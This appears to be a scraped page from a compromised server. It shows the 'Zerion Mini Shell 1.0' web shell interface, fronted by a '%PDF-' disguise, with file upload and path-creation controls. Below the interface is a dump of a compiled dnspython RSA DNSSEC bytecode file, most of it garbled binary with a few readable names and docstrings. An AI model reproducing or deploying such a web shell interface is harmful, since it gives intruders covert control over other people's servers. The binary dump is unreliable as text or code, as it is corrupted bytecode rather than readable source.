%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/dns/dnssecalgs/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/dns/dnssecalgs/__pycache__/rsa.cpython-312.pyc

�

5��e�
��l�ddlZddlZddlmZddlmZddlmZmZddl	m
Z
mZddlm
Z
ddlmZGd�d	e�ZGd
�de
�ZGd�d
e�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�Zy) �N)�default_backend)�hashes)�padding�rsa)�CryptographyPrivateKey�CryptographyPublicKey)�	Algorithm)�DNSKEYc��eZdZUejed<ejZeed<ejed<de
de
ddfd�Zde
fd	�Ze
deddfd
��Zy)�	PublicRSA�key�	algorithm�chosen_hash�	signature�data�returnNc�x�|jj||tj�|j�y)N)r
�verifyr�PKCS1v15r)�selfrrs   �4/usr/lib/python3/dist-packages/dns/dnssecalgs/rsa.pyrzPublicRSA.verifys'�������	�4��)9�)9�);�T�=M�=M�N�c�X�|jj�}tjtj|j�dz�}tj|j|d��}|dkDrdtjd|�z}ntjd|�}|jj�dks|jj�d	kDrtd
��||z|jj|jj�dzdzd�zS)z,Encode a public key per RFC 3110, section 2.��big)�length�	byteorder���!H�!Biizunsupported RSA key length�)r
�public_numbers�math�ceil�int�
bit_length�e�to_bytes�struct�pack�n�
ValueError)r�pn�_exp_len�exp�
exp_headers     r�encode_key_byteszPublicRSA.encode_key_bytess���
�X�X�
$�
$�
&���9�9�S�^�^�B�D�D�1�A�5�6���l�l�2�4�4��E�l�B���c�>�����T�8�!<�<�J����T�8�4�J�
�4�4�?�?��s�"�b�d�d�o�o�&7�$�&>��9�:�:��C��"�$�$�-�-������1B�Q�1F�1�0L�e�"T�T�Trc	��|j|�|j}tjd|dd�\}|dd}|dk(r tjd|dd�\}|dd}|d|}||d}|t	j
tj|d�tj|d��jt����S)Nr!r�r �r�r
)
�!_ensure_algorithm_key_combinationr
r*�unpackr�RSAPublicNumbersr&�
from_bytes�
public_keyr)�clsr
�keyptr�bytes_�rsa_e�rsa_ns      r�from_dnskeyzPublicRSA.from_dnskey#s����-�-�c�2������M�M�$��q���4�	��������Q�;��
�
�d�F�1�Q�K�8�I�V��A�B�Z�F��q�� ���v�w�����$�$����u�e�,�c�n�n�U�E�.J���j��*�+�
�	
r)�__name__�
__module__�__qualname__r�RSAPublicKey�__annotations__�key_clsr	r�
HashAlgorithm�bytesrr2�classmethodr
rA�rrrr
sy��	�	�	�����G����%�%�%�O��O�U�O�t�O�U�%�U��
�f�
��
��
rrc�|�eZdZUejed<ejZeZdZ	d
de
dede
fd�Ze
deddfd��Zy	)�
PrivateRSAr
irrrc���|jj|tj�|jj
�}|r |j
�j||�|S)z1Sign using a private key per RFC 3110, section 3.)r
�signrr�
public_clsrr;r)rrrrs    rrOzPrivateRSA.sign;sK���H�H�M�M�$��(8�(8�(:�D�O�O�<W�<W�X�	���O�O��$�$�Y��5��r�key_sizec�d�|tj|j|t�����S)N)�public_exponentrQ�backendr6)r�generate_private_key�default_public_exponentr)r<rQs  r�generatezPrivateRSA.generateBs/����(�(� #� ;� ;�!�'�)��
�	
rN)F)rBrCrDr�
RSAPrivateKeyrFrGrrPrVrI�boolrOrJr&rWrKrrrMrM5s`��	�	�	�����G��J�#����������
��
��
��
rrMc�F�eZdZejZej�Zy)�PublicRSAMD5N)	rBrCrDr	�RSAMD5rr�MD5rrKrrr[r[Ms��� � �I��&�*�*�,�Krr[c��eZdZeZy)�
PrivateRSAMD5N)rBrCrDr[rPrKrrr_r_Rs���Jrr_c�F�eZdZejZej�Zy)�
PublicRSASHA1N)	rBrCrDr	�RSASHA1rr�SHA1rrKrrraraVs���!�!�I��&�+�+�-�Krrac��eZdZeZy)�PrivateRSASHA1N)rBrCrDrarPrKrrrere[s���Jrrec�F�eZdZejZej�Zy)�PublicRSASHA1NSEC3SHA1N)	rBrCrDr	�RSASHA1NSEC3SHA1rrrcrrKrrrgrg_s���*�*�I��&�+�+�-�Krrgc��eZdZeZy)�PrivateRSASHA1NSEC3SHA1N)rBrCrDrgrPrKrrrjrjds��'�Jrrjc�F�eZdZejZej�Zy)�PublicRSASHA256N)	rBrCrDr	�	RSASHA256rr�SHA256rrKrrrlrlh����#�#�I��&�-�-�/�Krrlc��eZdZeZy)�PrivateRSASHA256N)rBrCrDrlrPrKrrrqrqm��� �Jrrqc�F�eZdZejZej�Zy)�PublicRSASHA512N)	rBrCrDr	�	RSASHA512rr�SHA512rrKrrrtrtqrorrtc��eZdZeZy)�PrivateRSASHA512N)rBrCrDrtrPrKrrrxrxvrrrrx)r$r*�cryptography.hazmat.backendsr�cryptography.hazmat.primitivesr�)cryptography.hazmat.primitives.asymmetricrr�dns.dnssecalgs.cryptographyrr�dns.dnssectypesr	�dns.rdtypes.ANY.DNSKEYr
rrMr[r_rarergrjrlrqrtrxrKrr�<module>rs����
�8�1�B�U�%�)�%
�%�%
�P
�'�
�0�9��
�J�� �I� �
�Z�� �Y� �
(�j�(�"�i�"�
!�z�!�"�i�"�
!�z�!r

Zerion Mini Shell 1.0